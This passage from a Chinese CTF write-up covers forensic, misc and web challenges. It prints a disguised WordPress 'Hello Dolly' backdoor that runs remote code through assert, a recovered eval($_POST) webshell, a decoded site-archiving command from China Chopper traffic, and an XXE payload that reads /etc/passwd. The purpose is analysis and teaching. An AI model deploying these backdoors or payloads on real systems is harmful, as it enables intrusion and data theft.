  • POST 参数通报下令:流量中的 $_POST[z0] 和 $_POST[z1] 这类参数是将菜刀的指令通过 POST 请求通报过来,通常这些指令会被 base64 编码、反转大概举行其他形式的混淆处置惩罚,以避免被直接检测出来。
  • 菜刀特有的通信模式

    • 菜刀通常通过 POST 请求通报下令,如你在流量中看到的 z0 和 z1 参数。
    • z0 通报的是一个 base64 编码后的 PHP 代码段,该代码段用于解码并执行菜刀客户端通报的下令。
    • z1, z2 等可能代表差别的下令或文件路径等参数。

分析这段流量的步调:

  • 识别 base64 编码:通过观察,流量中有大量的 base64 编码数据(如 z0=QGV2YWwo...),这是菜刀的一种常见伎俩。可以将这些数据解码来检察它们的真实含义。
  • 反转字符串:在解码之前,还需要对部分字符串举行反转处置惩罚,例如 edoced_46esab 反转后是 base64_decode。
  • 识别关键函数:eval() 函数是 PHP 中的高危函数,可以动态执行恣意通报的代码,这也是菜刀举行远程下令执行的焦点机制。
  • 使用 POST 请求举行通信:菜刀一般通过 POST 请求发送下令,而 GET 请求则较为稀有。
分辨步调总结:

  • 查抄流量中是否有 base64 编码的内容(如参数 z0),并尝试解码。
  • 寻找 PHP 高危函数调用,如 eval(),这是远程执行代码的标志。
  • 确认混淆伎俩,如字符串反转、base64 解码等。
  • 查抄 POST 请求的下令传输,观察是否存在通过 POST 请求通报下令的行为,这是菜刀的典型通信方式。
总之,这段流量中包含了编码的 PHP 代码,并使用 eval() 动态执行,结合菜刀的特定传输模式和混淆方式,可以明确这是菜刀流量的一部分。
那既然知道菜刀流量中带有“URL”编码,我们直接找一个“URL”解码在线网站举行解码即可;
URL在线解码

这边也是成功得出“base64”,直接解码得到;
base64在线解码

得到;
  1. cd /d "C:\Inetpub\wwwroot"&"C:\Program Files\WinRAR\rar.exe"   a   C:\phpStudy\WWW\www.zip  C:\phpStudy\WWW\www&echo [S]&cd&echo [E]
复制代码
简单分析一下;
在 Windows 系统下使用 WinRAR 工具对指定目录举行压缩,并生成一个 .zip 文件。

  • cd /d "C:\Inetpub\wwwroot\"


  • cd /d:改变当前的工作目录。如果目的目录在差别的驱动器(如从 C: 切换到 D:),使用 /d 参数可以确保切换驱动器。
  • C:\Inetpub\wwwroot\:这是目的目录,通常是一个网站的根目录。在很多 IIS (Internet Information Services) 配置中,wwwroot 是存储网页文件的默认路径。

  • "C:\Program Files\WinRAR\rar.exe"


  • 这是调用 WinRAR 程序的路径。rar.exe 是 WinRAR 的下令行工具,用于执行压缩、解压等操作。

  • a C:\phpStudy\WWW\www.zip C:\phpStudy\WWW\www


  • a:代表 add(添加) 的意思,表现将文件或目录压缩成一个文件。
  • C:\phpStudy\WWW\www.zip:这是目的压缩文件的路径,即生成的压缩包会保存为 www.zip。
  • C:\phpStudy\WWW\www:这是要被压缩的目录路径。所有位于此目录下的内容将被打包成 www.zip 文件。

  • &echo [S]&cd&echo [E]


  • &:在 Windows 下令行中,& 用于分隔多条下令,使它们按顺序执行。
  • echo [S]:输出 [S],通常用于表现压缩操作的 开始
  • cd:这条下令将显示当前所在的目录,通常用于验证操作是在预期的目录中执行的。
  • echo [E]:输出 [E],通常用于表现压缩操作的 竣事
总结
这个下令通常用于备份网站的内容,将 wwwroot 或类似目录中的文件打包成压缩文件,便于存档或传输。在这段下令中,备份的对象是 C:\phpStudy\WWW\www。
那既然知道它有一个“rar”的压缩包了,那我们就继续返回“HTTP”中,寻找它压缩的文件;

很快也是在包大小为“912”中发现了痕迹,但是这里直接导出也是不行的,以是为了节省点时间,我们直接全部“导出对象”,按包的大小排序来判断谁人才是最后的“www.zip”;

导出对象—>HTTP,最后保存位置选择一个空的文件夹即可

导出也是“按照文件大小”简单排个序,接着选中“打开方式”选择我们的十六进制分析工具“010”来举行分析即可;

这里不难看出确实有一个“RAR”压缩包的头部,但是有多余的数据,不过不要紧,我们直接选中删除即可;

注意删除完“Ctrl+s”举行保存;

后缀改为“rar”结尾;

解压得到;

这里实在也文件名也给出了题目,在结合我们的描述,很明显是要查找“webshell”,那既然是“phpstudy”,肯定就是在“WWW”目录下,这边有一些基础的师傅肯定明白这个“phpstudy”这是一个集成工具,用来挂网站的,至于我们所说的“WWW”目录就是用来存放上传文件的地方,但是这里如果我们手动去翻“WWW”目录这里太多了,肯定需要很多才能找到黑客上传的“webshell”,以是这里我们用一个查杀“webshell”的工具“D盾”,这个工具专门来查杀“WWW”目录下的“webshell”;
“文件太多”一个一个翻不切现实,直接上工具“D盾”举行“webshell”查杀;

“D盾”举行查杀,很快也是有了线索,直接根据目录,选中“hello.php”文件右键“记事本”打开举行分析即可;

“右键记事本”打开得到;

提取其中的关键信息;
  1. <?php
  2. /**
  3. * @package Hello_Dolly
  4. * @version 1.6
  5. */
  6. /*
  7. Plugin Name: Hello Dolly
  8. Plugin URI: http://wordpress.org/plugins/hello-dolly/
  9. Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
  10. Author: Matt Mullenweg
  11. Version: 1.6
  12. Author URI: http://ma.tt/
  13. */
  14. if(empty($_SESSION['cfg']))                        $_SESSION['cfg']=file_get_contents(hex2bin('687474703a2f2f3132372e302e302e312f77702d636f6e74656e742f7468656d65732f7477656e74797369787465656e2f6a732f75692e6a73
  15. '));
  16. $arr=array(str_rot13(base64_decode($_SESSION['cfg'])),);
  17. array_filter($arr,str_rot13(base64_decode('bmZmcmVn')));
复制代码
简单分析一下;
   这段 PHP 代码看似是 WordPress 插件的声明代码,但现实上存在恶意行为。它可能是一个伪装成正常插件的恶意脚本,含有后门功能或恶意代码。以下是具体分析:
  

  • 插件声明部分
    /* Plugin Name: Hello Dolly Plugin URI: http://wordpress.org/plugins/hello-dolly/ Description: This is not just a plugin, it symbolizes the hope and enthusiasm… Author: Matt Mullenweg Version: 1.6 Author URI: http://ma.tt/ */
这一部分是一个典型的 WordPress 插件头信息,描述了插件的名称、描述、版本、作者等信息。这段代码仿冒了 WordPress 的经典插件“Hello Dolly”,使其看上去像是一个正常插件,掩饰了重要代码。

  • 重要代码部分
    1. if(empty($_SESSION['cfg'])) {     $_SESSION['cfg'] = file_get_contents(hex2bin('687474703a2f2f3132372e302e302e312f77702d636f6e74656e742f7468656d65732f7477656e74797369787465656e2f6a732f75692e6a73
    2. ')); }
    复制代码


  • if(empty($_SESSION['cfg'])):查抄当前会话中是否存在 cfg 变量,如果不存在则举行下一步操作。
  • $_SESSION['cfg'] = file_get_contents(...):使用 file_get_contents 函数获取远程服务器上的内容。这个 URL 被转换成了十六进制,解析后的内容为:

    • http://127.0.0.1/wp-content/themes/twentysixteen/js/ui.js
      这里脚本试图从本地服务器或某个外部服务器获取一个 JavaScript 文件 ui.js。在真实环境中,这个地点很可能是一个远程服务器。


  • Base64 和 ROT13 解码操作
    1. $arr = array(str_rot13(base64_decode($_SESSION['cfg']),)); array_filter($arr, str_rot13(base64_decode('bmZmcmVn')));`
    复制代码


  • base64_decode($_SESSION['cfg']):首先对 $_SESSION['cfg'] 中的内容举行 Base64 解码。
  • str_rot13(...):使用 ROT13(字母更换的简单加密)对解码后的内容举行转换。这样可以进一步隐藏代码。
  • array_filter($arr, str_rot13(base64_decode('bmZmcmVn')))::尝试对解码后的内容举行过滤操作。这里的 bmZmcmVn 是 Base64 编码,解码后的内容是 nffreg,再颠末 ROT13 解码变为 assert。
特征总结


  • 这段代码通过从外部服务器下载脚本,并通过 Base64 和 ROT13 对代码举行多重混淆。
  • 行为的关键在于 assert 函数,这个函数可以将字符串执行为 PHP 代码,导致远程代码执行 (RCE) 攻击。
  • 代码使用了 WordPress 插件的合法外观来伪装自己,现实上会执行代码,通常用于创建后门、执行远程代码、大概下载文件。
特征


  • 远程加载代码:通过 file_get_contents 获取远程服务器上的代码。
  • 多重混淆:使用了 Base64 和 ROT13 混淆技术。
  • 匿伏后门:通过 assert 执行解码后的代码,可能打开远程下令执行的后门。
拓展;
这种伪装插件的攻击方式常常用于 WordPress 等盛行的 CMS 系统,使用插件机制举行病毒传播。
那这里我们既然知道了关键的解码操作,直接对关键字段解码即可;
  1. 687474703a2f2f3132372e302e302e312f77702d636f6e74656e742f7468656d65732f7477656e74797369787465656e2f6a732f75692e6a73
复制代码
“十六进制转文本”

得到;
  1. http://127.0.0.1/wp-content/themes/twentysixteen/js/ui.js
复制代码
简单分析;
http://127.0.0.1/wp-content/themes/twentysixteen/js/ui.js
是一个本地服务器 URL,它指向 WordPress 主题 twentysixteen 下的 JavaScript 文件 ui.js。以下是对这个 URL 的分析:

  • 127.0.0.1:


  • 127.0.0.1 是本地主机(localhost)的 IP 地点,这意味着这个 URL 在当前服务器或用户本地访问自己。
  • 一般环境下,访问 127.0.0.1 表现请求的是本地服务器,通常是开发环境中的服务器,而不是公共互联网上的资源。

  • WordPress 主题路径:


  • /wp-content/themes/twentysixteen/ 是 WordPress 主题的目录。twentysixteen 是 WordPress 的一个默认主题,通常会包含一些 JavaScript、CSS、模板文件等。
  • 这个路径指向的文件是主题的一部分,通常应该是界面相关的 JavaScript 文件。

  • ui.js 文件:


  • ui.js 是用于处置惩罚用户界面交互的 JavaScript 文件,比如按钮点击、动画、界面调整等。
  • 然而,在代码的上下文中,指向这个文件的链接可能会被伪装为正常的主题文件,但现实上可能包含脚本。
总结:


  • 本地开发环境或恶意本地化执行:这个 URL 在本地服务器上执行,可能在开发环境中是合法的,但在代码中常用来在目的服务器上隐藏行为。
  • 匿伏的 JavaScript 注入:如果 ui.js 文件被篡改,会包含 JavaScript,执行跨站脚本(XSS)或其他范例的攻击。
那我们只跟进目录举行分析:wp-content/themes/twentysixteen/js/ui.js

选中文件“打开方式”选择“记事本”即可;

得到;
  1. QHJpbnkoJF9DQkZHWyJvN3BxbnMwMzBxNTlzc3JxNzMxcXBuMDFuMTU2NXJybyJdKQ==
复制代码
base64在线解码

得到;
  1. @riny($_CBFG["o7pqns030q59ssrq731qpn01n1565rro"])
复制代码
以为这就竣事了?返回“hello.php”文件中再次举行分析;

还有一个“rot13”解码呢,直接再次找一个解码网站举行解码即可;
rot13
最后的最后也就得到;

至此;
  1. @eval($_post["b7cdaf030d59ffed731dca01a1565eeb"])
复制代码
按照提交格式要求;
  1. flag{b7cdaf030d59ffed731dca01a1565eeb}
复制代码
7、MISC-女儿的秘密

题目描述:
偷偷找到了女儿藏起来的宝贝,看看是啥
解题思绪
下载附件得到一个压缩包,解压出来得到一个空缺文件“number6”,咱也不知道是什么文件,使用“010”简单分析一下;
“number6”

这边临时没看出什么,但是之前打开文件的时候发现它是一个“Re”文件内里的;

以是这时候我们就要怀疑是不是与“reverse”相关,反正现在也没有思绪干脆直接将这些数字“reverse”一下看看;
“reverse在线”

这时候我们在仔细观察一下数据区域,看起来特别像是一个十六进制字符串,以是这里既然使用了“cyberchef”,那我们直接“From Hex”试试看;

得到;

打开压缩包但是发现需要暗码,那没办法了,直接上工具举行爆破,这里我选的“PasswareKitForensic”,该说不说这个工具确实很香啊,这里在简单先容一下这个工具;
   简单来说就是Passware Kit Forensic 是一款强大的取证工具,专门用于暗码规复、加密文件破解以及数字取证分析。
  重要功能:

  • 暗码规复

    • 支持规复超过 300 种范例的暗码,包括 Word、Excel、PDF、ZIP 等常见文件范例。
    • 可以破解 BitLocker、TrueCrypt 和其他加密卷。
    • 支持 Windows 操作系统登录暗码的规复。

  • 加密分析与解密

    • 通过内存转储(RAM dump)分析规复加密密钥,如 BitLocker、FileVault 等。
    • 使用 GPU 加速暴力破解复杂暗码,显著提升破解速度。

  • 文件解密

    • 对各种加密文件举行解密,支持虚拟机映像(VMware、VirtualBox)的暗码规复。
    • 提供对压缩文件(如 ZIP、RAR 等)举行暗码破解。

  • 取证报告生成

    • 自动生成具体的取证报告,供调查取证或法律用途。
    • 可以保存暗码规复的进度、结果及相关证据链,以确保完整的取证流程。

特点:


  • 支持今世加密算法和复杂暗码的破解。
  • 与法庭取证标准兼容,确保解密过程合法合规。
  • 结合硬件加速技术,提升破解效率。
反正我感觉除了破解的有点慢别的的都OK,反正也不是很着急就给它继续破解了,最后也是成功得到;

最后也是得到暗码:674344
打开压缩包得到“secret.txt”以及“女儿照片.jpg”;
“secret.txt”

“女儿照片.jpg”

“女儿照片.jpg”发现打不开丢进“010”简单分析一下;

发现是“docx”的后缀格式,修改“docx”后缀打开,得到一张图片,全选的时候发现下面一处可疑;

这边我们直接把字体颜色换一个颜色试试看;

也就得到;

  1. 6347467a637a7046636d6f31565739615a6e423456445133516d70775a7a68785a7a4659625531445331703553304a714d574a4b4d47393063337057576c427250513d3d
复制代码
看着这串数字又非常像“hex”,那我们直接使用在线的“cyberchef“转换一下试试看;

得到:cGFzczpFcmo1VW9aZnB4VDQ3QmpwZzhxZzFYbU1DS1p5S0JqMWJKMG90c3pWWlBrPQ==
那都是“base64”摆着我们面前了,直接解码的得到;

得到;
  1. pass:Erj5UoZfpxT47Bjpg8qg1XmMCKZyKBj1bJ0otszVZPk=
复制代码
到这也没什么思绪了,直接又返回“secret.txt”举行分析,忽然悟了,这个好像是“典型的fermet加密”,那这里可能有的师傅可能就迷惑了,这是怎么看出来的呢?
那在次之前我们得先简单相识一下什么是“fermet加密”?
   简单来说Fernet 加密是一种基于对称加密的方案,从属于 Python cryptography 库中的加密算法。它接纳了 AES(高级加密标准)算法举行加密,并使用 HMAC-SHA256 举行消息认证。Fernet 的重要特点是确保加密的数据在传输时既安全又完整。
  Fernet 加密的特点:

  • 对称加密:加密息争密使用的是同一个密钥。这意味着只有持有该密钥的人才能解密信息。
  • 自动包含时间戳:Fernet 加密生成的密文中会包含一个加密时的时间戳,用于记录数据何时加密,从而支持加密数据的过期时间验证。
  • 认证和完整性查抄:Fernet 使用 HMAC-SHA256 生成一个消息认证码 (MAC),确保加密后的数据在传输过程中未被篡改。
  • 易于使用:Fernet 加密提供了简单的接口,用户只需提供数据和密钥即可轻松实现加密息争密。
Fernet 密文布局:


  • 版本号:表明加密算法的版本。
  • 时间戳:记录加密的时间。
  • 加密数据:使用 AES 对称加密加密后的数据。
  • 消息认证码 (MAC):验证加密数据是否被篡改。
使用场景:


  • 加密敏感数据:如用户暗码、API 密钥等。
  • 数据传输保护:通过网络传输加密的数据,确保传输过程中的安全性和完整性。
总之,Fernet 加密以其简单易用、安全性高的特点,广泛应用于需要保护数据传输和存储的场景中。
那这里我们是怎么分辨出这是“Fernet 加密”的呢?

  • Base64 编码格式


  • Fernet 加密后,密文通常是 Base64 编码的,而你提供的字符串使用了 Base64 编码。Base64 编码的密文通常包含字母、数字以及字符 +, /, =,这在你的密文中可以看到。

  • Fernet 加密的布局


  • Fernet 加密的密文有一个特定的格式,由以下部分构成:

    • 版本:Fernet 的版本号,通常是一个字节(0x80),确保解密时使用正确的算法。
    • 时间戳:8 个字节的时间戳,记录加密的时间。
    • 加密数据:使用 AES 对称加密加密的现实数据。
    • 消息鉴别码 (MAC):32 字节的 SHA256 HMAC,用于验证加密数据的完整性。

这些部分组合在一起,然后举行 Base64 编码,形成最终的加密字符串。Fernet 加密后的密文通常较长,且布局清晰,这正是典型的 Fernet 加密字符串的特征。

  • 暗码加密方案


  • Fernet 是 Python 的 cryptography 库中的一种对称加密方法,常见于 Python 中的加密应用场景。Fernet 使用 AES 对称加密算法HMAC-SHA256 举行认证和加密。

  • Fernet 密钥长度


  • Fernet 密钥是 32 字节的 Base64 编码字符串,长度为 44 个字符。你提供的暗码 Erj5UoZfpxT47Bjpg8qg1XmMCKZyKBj1bJ0otszVZPk= 就是符合这个条件的 44 字符长度的 Base64 编码密钥。

  • 解密操作


  • 如果你使用 Fernet 举行解密,只需使用该密钥对密文举行解密即可,解密时会自动验证 HMAC 的有效性息争密的正确性。如果加密使用的是 Fernet,那么该解密过程会顺利完成。
总结


  • 这个字符串被我们以为是 Fernet 加密的典型例子是由于它具有上述特征:Base64 编码格式、常见的加密数据布局、与 Fernet 密钥匹配的暗码格式等。
以是这里直接上脚本跑一下试试看;
脚本如下(Python)
  1. # 从 cryptography.fernet 导入 Fernet 类,用于加密和解密
  2. from cryptography.fernet import Fernet
  3. # 初始化 Fernet 对象,传入的密钥是用于加密/解密的对称密钥
  4. # 这里的密钥是 base64 编码的字节串
  5. f = Fernet(b'Erj5UoZfpxT47Bjpg8qg1XmMCKZyKBj1bJ0otszVZPk=')
  6. # 加密后的密文,用 Fernet 加密生成的一串 base64 编码的字节串
  7. miwen = b'gAAAAABk2vY8KwxIv0n9XgVk8EPbQimR9iCqSX_crxcRSf-z2RV2rX2Ol1KHmbeAsxOyGR_i73vrl0FgLDCHHP9wWaXz37r5NmaWFXCwETQ2tYJM8vIFJVZ1Ptmtt2O7fXPQg6xA5-_dFOi-FYjF2RiqfXc39rbBLA=='
  8. # 使用 Fernet 对象 f 解密密文,得到原始明文并将其解码为字符串
  9. mingwen = f.decrypt(miwen).decode()
  10. # 打印解密后的明文
  11. print(mingwen)
复制代码
简单分析;

  • Fernet 对象的初始化:Fernet(b'Erj5UoZfpxT47Bjpg8qg1XmMCKZyKBj1bJ0otszVZPk=') 创建了一个 Fernet 加密对象。密钥是通过 Base64 编码的字符串表现的。
  • 密文解密:使用 f.decrypt(miwen) 对密文举行解密,解密结果为字节串,再通过 .decode() 转换为可读的字符串。
  • 密文的泉源:miwen 是一段由 Fernet 加密生成的 Base64 编码的密文,包含加密数据以及元数据(如加密时间戳)。
  • 用途:该代码适用于需要将加密数据转换回原始数据的场景,只要持有正确的密钥,即可对密文举行解密。
运行得到;

至此;
  1. flag{60b60e103285af9336b99d57b03b1152}
复制代码
8、MICS-snow

题目描述:
你能找到隐藏在雪中的秘密吗?
解题思绪
下载附件得到一张图片,丢进“010”简单分析一下;
“123.png”

“010”简单分析,在最底部很快就发现存在“jpg”图片的尾部,那这时候猜测是不是内里还有一张“jpg”格式的图片,我们需要给它提取出来;

那在此之前我们需要先解释一下“jpg”图片的格式是什么样的,那这里我们干脆全部简单先容一下常见的图片格式以及文件头部“十六进制”表现;

  • JPEG (JPG) 文件头


  • 文件头 (Magic Number): FF D8
  • 文件尾 (EOF): FF D9
  • 解释:

    • JPEG 文件的头部以 FF D8 开始,表现文件是 JPEG 格式的。
    • 文件竣事符是 FF D9,这意味着文件到此竣事。

FF D8 ... [图片内容] ... FF D9

  • PNG 文件头


  • 文件头 (Magic Number): 89 50 4E 47 0D 0A 1A 0A
  • 解释:

    • PNG 文件的开头是 89 50 4E 47,对应 “PNG” 的 ASCII 码,背面是几个控制字符,分别是回车、换行和文件终止标志。

89 50 4E 47 0D 0A 1A 0A ... [图片内容]

  • GIF 文件头


  • 文件头 (Magic Number): 47 49 46 38 39 61 或 47 49 46 38 37 61
  • 解释:

    • GIF 文件头以 47 49 46 开始,对应 “GIF” 的 ASCII 码。接着是版本号 38 39 61(GIF89a)或 38 37 61(GIF87a)。

47 49 46 38 39 61 ... [图片内容]

  • BMP 文件头


  • 文件头 (Magic Number): 42 4D
  • 解释:

    • BMP 文件头以 42 4D 开始,对应 “BM” 的 ASCII 码,这是 BMP 文件的特征标识。

42 4D ... [图片内容]

  • TIFF 文件头


  • 文件头 (Magic Number): 49 49 2A 00 (Little Endian) 或 4D 4D 00 2A (Big Endian)
  • 解释:

    • TIFF 文件可以使用两种字节序:小端序 (Little Endian) 或大端序 (Big Endian),分别以 49 49 和 4D 4D 开始,背面的 2A 00 或 00 2A 表现 TIFF 标识。

49 49 2A 00 ... [图片内容] 或 4D 4D 00 2A ... [图片内容]

  • WebP 文件头


  • 文件头 (Magic Number): 52 49 46 46 和 57 45 42 50
  • 解释:

    • WebP 文件是基于 RIFF 格式,文件头以 52 49 46 46(对应 RIFF)开头,紧接着是 57 45 42 50,表现这是 WebP 格式。

52 49 46 46 ... 57 45 42 50 ... [图片内容]

  • ICO 文件头


  • 文件头 (Magic Number): 00 00 01 00
  • 解释:

    • ICO 文件的特征是以 00 00 01 00 开始,表现图标文件。

00 00 01 00 ... [图片内容]
那这里既然我们已经知晓了“jpg”图片的“十六进制”格式,以是这里我们需要先找到“jpg”图片的头部,就在内里逐步找很快就发现了关键;

对其“JPG”文件头部举行修改“FF D8 FF E1”,最后我们选中其“JPG”格式最上方沉余的数据,全部选中删除!

只留下“JPG”图片的数据,最后“Ctrl+s”保存,接着退出,修改图片的后缀为“.jpg”,这时候再次打开图片会发现底部有一部分隐藏的东西,那现在的思绪就是修改“JPG”图片的宽高了;

那修改“JPG”图片格式的宽高,差别于“png”格式来说那么固定,那这里我们就一起来简单分析一下“关于JPG格式修改宽高”;
JPG格式图片与PNG格式图片在十六进制中修改宽高的区别:

  • JPG格式图片
首先就是JPEG (JPG) 格式的图片文件存储的是压缩后的图像数据,元数据信息如宽度和高度通常存储在SOF (Start of Frame) 标志中。


  • 怎样识别 JPG 文件中的宽高

    • JPEG 文件中,FF C0 是开始帧 (SOF) 标志,它紧跟着存储图片的宽度和高度。
    • SOF 段布局:

      • FF C0 标志段
      • 背面会有两字节的段长度,然后是颜色深度 (1 byte)
      • 接下来依次是高度 (2 bytes)宽度 (2 bytes),以大端序存储(高位字节在前)。

    • 示例:
      FF C0 00 11 08 03 20 02 58 ...

      • FF C0: 表现 SOF 标志。
      • 03 20: 高度(800像素)。
      • 02 58: 宽度(600像素)。

    修改方式: 直接修改对应的宽度和高度字段的十六进制值即可。


  • PNG格式图片
其次就是PNG格式的图片文件是无损压缩格式,元数据(如宽度和高度)存储在 IHDR(Image Header)块中。


  • 怎样识别 PNG 文件中的宽高

    • PNG 文件的第一个块是 IHDR 块,它包含了图像的宽度和高度信息。
    • IHDR 块的布局:

      • IHDR 块的标识符为 49 48 44 52(ASCII 中对应 “IHDR”)。
      • 在 IHDR 块之后的前 8 个字节分别存储宽度和高度,每个用 4 字节(32-bit)表现,且以大端序存储。

    • 示例:
      89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 00 00 03 20 00 00 02 58 ...

      • 00 00 03 20: 宽度(800像素)。
      • 00 00 02 58: 高度(600像素)。

    修改方式: 修改 IHDR 块中的宽度和高度字段对应的十六进制值即可。


区别与修改总结


  • JPG格式:

    • 宽高存储在 FF C0 段的 SOF 标志中,使用 2 字节存储。
    • 十六进制中宽高信息在 SOF 段之后,直接编辑对应的字节即可。

  • PNG格式:

    • 宽高存储在 IHDR 块的前 8 字节,使用 4 字节存储。
    • 十六进制中宽高信息紧跟 IHDR 标志,修改这 8 字节即可调整宽高。

具体的操作步调:

  • JPG: 找到 FF C0 段,之后的字节是宽高的十六进制表现。
  • PNG: 找到 IHDR 块,之后 8 个字节分别是宽度和高度。
那现在我们以及大抵相识了“JPG”修改图片的需求,以是这里我们直接使用搜索工具查找“FF C0”对其后的字节举行修改即可;

那我们这边一共是查出三个“FF C0”,那既然现在我们不知道哪一个才是具体的宽高,我们干脆三个全部举行修改,以后遇到的也可以这样逐步举行尝试;
修改“FF C0 00 11 08 00 F0”

修改"FF C0 00 11 08 00 F0"

修改"FF C0 00 11 08 04 F0"

最后“Ctrl+s”举行保存,打开图片;

得到一窜数字临时不知道是什么东西,先记录下来;
暗码:8513267904441230
那现在思绪又断了,但是忽然想到刚刚提取出来的“JPG”格式图片既然与“PNG”格式一模一样,怀疑这可能就是“PNG“图片的单图盲水印,由于也就只有这种环境下,才会出现两个不一样格式但是内容雷同的图片,以是这边我们直接上盲水印工具全部尝试一遍;
“WaterMark”无发现;

“imageIN_Beta1.0”,发现在解码中,有一个“txt”文件;

那这里我们直接另存为,打开“1.txt”得到;

一眼看见“50 4B 03 04”,典型的“zip”嘛,以是我们直接新建一个新的“010”十六进制文本,选中“1.txt”的内容,接着“Ctrl+shift+v”举行复制!!!!

最后“Ctrl+s”举行保存,保存格式为“.zip”;

哎,这不,前面的数字派上用场了,我们直接输入暗码:8513267904441230,输入完成打开“flag.txt”即可;

至此;
  1. flag{8da8c6877683f14366b2842e5134b9d8}
复制代码
9、MICS-jsfuck

题目描述:
一种特别的编码
解题思绪
下载得到一个“PDF”的文件;

那这里根据题目的名字“jsfuck”以及题目描述,我们可知这是一种编码,那我们先来简单相识一下“jsfuck”;
   简单来说实在JSFuck 是一种完全由 JavaScript 中的 6 个字符 ([, ], (, ), +, !) 构成的编程语言编码方法。通过这种编码方式,任何 JavaScript 代码都可以用这 6 个字符重新编写。
  基本原理:
JSFuck 使用 JavaScript 的隐式范例转换特性和对象表现来实今世码的运行。它通过组合基本字符 + (正数操作符)、! (逻辑非)、[] (数组)、和 () (函数调用) 来构建复杂的表达式,从而表现 JavaScript 中的基本元素如数字、字母、关键字,最终可以执行完整的 JavaScript 代码。
例如:


  • true 可以被表现为 !![]
  • false 可以被表现为 ![]
  • undefined 可以通过表达式 [][[]] 得到
通过复杂的嵌套,任何常规的 JavaScript 代码都可以被重写为 JSFuck 编码。
JSFuck 编码的用途:

  • 逃避安全过滤: 由于 JSFuck 仅使用极少数字符,偶然可以绕过某些输入验证系统或防火墙的过滤。
  • 挑战和学习: JSFuck 是一种极具挑战性的编码方式,重要被用作编程挑战或代码混淆技术的展示。
总结:
JSFuck 是一种非常极端和巧妙的编码方式,使用了 JavaScript 的灵活性,允许开发者使用仅 6 个字符来构建恣意 JavaScript 代码。
那现在已基本相识了什么是“JSFuck”编码,以是我们可以开始研究“PDF”了,老规矩直接全选缩鄙视看有什么线索,很快就有了发现;

这里我们新建一个“记事本”复制进去看看是什么东西;

这不是跟我们谁人“jsfuck”嘛,那我们尝试丢到“欣赏器”中执行一下试试看;

至此;
  1. flag{JsF4ck}
复制代码
三、WEB

1、WEB- ctf_xxe

题目描述:
单纯的xxe
解题思绪
打开靶机发现是代码审计,如图下;

首先我们这里可以肯定的就是,这题就是一题XXE的(由于题目名称就是XXE),那我们来一起简单分析一下源码;
可以确定的是这个代码展示了一个处置惩罚 XML 数据的 PHP 应用程序片断,而且使用了与 XML 解析和外部实体加载(XXE)相关的功能。

  • show_source(__file__);


  • 这个函数会显示当前文件的源代码,重要用于调试目的。__file__ 是指当前脚本文件。
  • 不影响重要逻辑,但可能泄漏代码给我们。

  • error_reporting(0);


  • 关闭错误报告,防止错误信息泄漏给用户。这样可以隐藏匿伏的敏感信息。

  • libxml_disable_entity_loader(false);


  • 这是一个重要的点。libxml_disable_entity_loader(false) 打开了 XML 外部实体加载,这会导致应用程序容易受到 XXE(XML External Entity)攻击
  • 默认环境下,这个选项应该设置为 true 以禁用外部实体加载,但在这里设置为 false,打开了可能的攻击面。

  • $xmlfile = file_get_contents('php://input');


  • 这行代码从 HTTP 请求的原始内容中读取数据。php://input 用于获取未经处置惩罚的 POST 请求数据,适合用于读取 XML 或 JSON 格式的数据。

  • $blacklist = array("php", "http" ,"&#");


  • 这是用于阻止一些内容的黑名单数组。它会查抄是否存在包含 "php", "http", 或 "&#" 的字符串,目的是防止某些常见的 XML 注入。
  • 然而,黑名单的方式存在明显的缺陷,可能会遗漏其他绕过的方式,例如使用编码或分隔符。

  • foreach ($blacklist as $black)


  • 在这个循环中,stripos 用来检测 $xmlfile 中是否包含黑名单中的恣意一项。
  • 如果检测到黑名单字符,就会输出 Don't trick Me! 并终止脚本执行。
  • 黑名单过滤不敷美满,可能被绕过,比如使用差别的编码方式或注入其他内容。

  • $dom = new DOMDocument(); 和 $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);


  • DOMDocument 用于处置惩罚 XML。
  • LIBXML_NOENT 和 LIBXML_DTDLOAD 标志分别允许解析外部实体和加载 DTD,这使得 XML 文件可以加载外部实体或引入外部资源,进一步加大了 XXE 攻击的可能性。

  • $info = simplexml_import_dom($dom);


  • simplexml_import_dom 将 DOM 对象转换为 SimpleXMLElement,方便进一步处置惩罚 XML 数据。

  • $ctf = $info->ctf;


  • 从 XML 数据中提取 ctf 节点的值并赋给 $ctf 变量。

  • echo $ctf;


  • 将提取的 ctf 内容输出给用户。
示例:
通过上面的简单分析我们就可以简单的构造payload举行“XXE”攻击,如下 XML:
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
  3. <test>
  4.   <ctf>&xxe;</ctf>
  5. </test>
复制代码
这段 XML 会让服务器读取 /etc/passwd 文件,并将其内容回显给我们。

成功回显,那我们来简单分析一下我的payload;
首先肯定是使用了 XML 外部实体定义中的 <!ENTITY> 来加载外部资源(读取服务器文件系统中的 /etc/passwd),通过使用 &xxe;,向服务器请求读取指定的文件,并在相应中回显。

  • 外部实体引用的位置

    • 在我的 payload 中,<ctf>&xxe;</ctf> 是嵌套在 <test> 标签内部的,这是由于我需要针对特定 XML 布局设计 payload,这样外部实体可以成功注入到 ctf 标签中,这也是题目的条件。

  • 根元素的名称

    • 我的示例用的是 <test> 和 <ctf> 标签,这是根据题目中的 XML 布局来设计的,以确保实体插入能够见效。

  • DTD 的定义细节

    • 我定义的 <!DOCTYPE test> 表现我使用了 test 作为根元素,并定义了外部实体。DTD 声明与特定的 XML 标签布局相结合。

以是这里我们直接读取“flag”即可,由于题中也没有任何关于“flag”的过滤;

至此;
  1. flag{cce94ee5665614da8e790a0738046f7d}
复制代码
XXE简单总结;
   XXE(XML External Entity)漏洞是通过解析 XML 文件时,使用外部实体的功能来攻击服务器的一种安全漏洞。XXE 漏洞常常出现在各种 CTF 竞赛中,常见的考点和知识点包括以下内容:
  

  • 基础知识点


  • XML 实体:XML 文档可以定义内部或外部实体,外部实体可以引用文件、URL 等。
  • DTD(Document Type Definition):DTD 用来定义 XML 文档的布局,包括允许的元素和实体。XXE 攻击常使用 DTD 中定义的外部实体加载本地文件或访问外部资源。
典型的 XXE 使用形式:
